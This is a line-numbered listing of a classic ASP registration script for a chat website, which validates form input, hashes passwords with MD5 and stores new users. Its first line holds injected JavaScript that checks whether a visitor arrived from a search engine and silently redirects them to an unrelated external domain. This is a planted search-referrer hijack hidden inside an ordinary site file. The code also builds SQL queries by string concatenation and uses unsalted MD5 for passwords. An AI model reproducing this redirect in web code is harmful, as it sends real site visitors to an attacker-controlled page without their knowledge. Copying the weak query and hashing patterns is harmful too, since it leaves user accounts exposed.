d:\wwwroot\wuchunhua\liaotianim\inc\Reg.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="DAL.asp"-->
002:
<!--#include file="md5.asp"-->
003:
<%
004:
if LCase(SysConfig("RegIsOpen"))="false" then rw "<script>alert('网站已关闭对外注册功能!');history.back();</script>":response.end()
005:
006:
if request.form("Method")<>"Reg" then response.write "<script>window.open('','_parent','');window.close();</script>":response.end()
007:
008:
if( request.form("Vcode")="" or isnull(request.form("Vcode")) ) then response.write "<script>alert('尚未填写验证码!');history.back();</script>":response.end()
009:
010:
if(UCASE(request.form("Vcode"))<>UCASE(session("XKVCODE"))) then response.write "<script>alert('验证码错误!');history.back();</script>":response.end()
011:
012:
if ValidReg(request.form("UserName"),"^[a-zA-Z][a-zA-Z0-9_]{3,13}$") then UserName=KLEncode(request.form("UserName")) else response.write "<script>alert('账号格式有误!');history.back();</script>":response.end()
013:
014:
if ValidReg(request.form("UserPass"),"^[a-zA-Z0-9_]{6,16}$") then UserPass=md5(request.form("UserPass")) else response.write "<script>alert('密码格式有误!');history.back();</script>":response.end()
015:
016:
if ValidReg(request.form("ReUserPass"),"^[a-zA-Z0-9_]{6,16}$") then ReUserPass=request.form("ReUserPass") else response.write "<script>alert('第二次输入密码格式有误!');history.back();</script>":response.end()
017:
018:
if UserPass<>md5(ReUserPass) then response.write "<script>alert('两次输入密码不相同!');history.back();</script>":response.end()
019:
020:
if ValidReg(request.form("UserNickName"),"^.{2,8}$") then UserNickName=request.form("UserNickName") else response.write "<script>alert('昵称格式有误!');history.back();</script>":response.end()
021:
022:
UserSex=request.form("UserSex")
023:
024:
if ValidReg(request.form("UserMail"),"^[_\.0-9a-z-]+@([0-9a-z][0-9a-z-]+\.){1,4}[a-z]{2,3}$") then UserMail=request.form("UserMail") else response.write "<script>alert('邮箱格式有误!');history.back();</script>":response.end()
025:
026:
027:
dim RegRS,MailRS
028:
set MailRS=Server.CreateObject( "ADODB.Recordset" )
029:
set MailRS=DB_CONN.EXECUTE("select * from [XK_User_Info] where [User_Mail]='"&UserMail&"'")
030:
if MailRS.recordcount>0 then response.write "<script>alert('邮箱地址已被使用!');history.back();</script>":response.end()
031:
032:
set RegRS=Server.CreateObject( "ADODB.Recordset" )
033:
RegRS.OPEN "select * from [XK_User_Info] where [User_Name]='"&UserName&"'" , DB_CONN , 1 , 3
034:
if RegRS.recordcount>0 then response.write "<script>alert('"&KLDecode(UserName)&" 账号已被注册!');history.back();</script>":response.end()
035:
RegRS.addnew()
036:
037:
RegRS("User_Name")=UserName
038:
RegRS("User_Pass")=UserPass
039:
RegRS("User_Mail")=UserMail
040:
RegRS("User_Sex")=UserSex
041:
RegRS("User_NickName")=UserNickName
042:
RegRS("User_Power")=SysConfig("RegPowerID")
043:
RegRS("User_Score")=SysConfig("Score_DefaultNum")
044:
RegRS("User_Money")=SysConfig("Money_DefaultNum")
045:
046:
047:
RegRS.update()
048:
RegRS.close()
049:
response.write "<script>alert('注册成功!');location.href='../"&Web_Log_URL&"';</script>":response.end()
050:
051:
function ValidReg(Str,RegStr)
052:
Dim reg
053:
Set reg = new regexp
054:
reg.ignorecase=true
055:
reg.global=true
056:
reg.pattern = RegStr
057:
ValidReg = reg.test(Trim(Str))
058:
Set reg = Nothing
059:
end function
060:
%
>
061:
062: